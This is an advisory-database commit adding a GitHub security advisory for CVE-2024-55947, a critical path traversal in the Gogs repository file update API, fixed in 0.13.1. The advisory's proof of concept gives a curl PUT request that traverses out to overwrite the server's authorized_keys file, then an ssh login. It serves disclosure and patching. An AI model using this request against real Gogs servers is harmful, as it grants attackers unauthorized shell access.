Publish Advisories

GHSA-qf5v-rp47-55gg
GHSA-r7j8-5h9c-f6fx
This commit is contained in:
advisory-database[bot]
2024-12-23 17:54:26 +00:00
parent 7a6a21be6e
commit b4187ae0aa
2 changed files with 102 additions and 0 deletions
@@ -0,0 +1,52 @@
{
"schema_version": "1.4.0",
"id": "GHSA-qf5v-rp47-55gg",
"modified": "2024-12-23T17:53:16Z",
"published": "2024-12-23T17:53:16Z",
"aliases": [
"CVE-2024-55947"
],
"summary": "Path Traversal in file update API in gogs",
"details": "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n ```bash\n curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\n \"message\": \"an\",\n \"content\": \"<base64encoded: your ssh pub key>\"\n }'\n ```\n\n3. ssh connect to remote server\n\n ```bash\n ssh -i temp git@localhost -p 10022\n ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.\n",
"severity": [],
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.1"
}
]
}
]
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
}
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2024-12-23T17:53:16Z",
"nvd_published_at": null
}
}
File diff suppressed because one or more lines are too long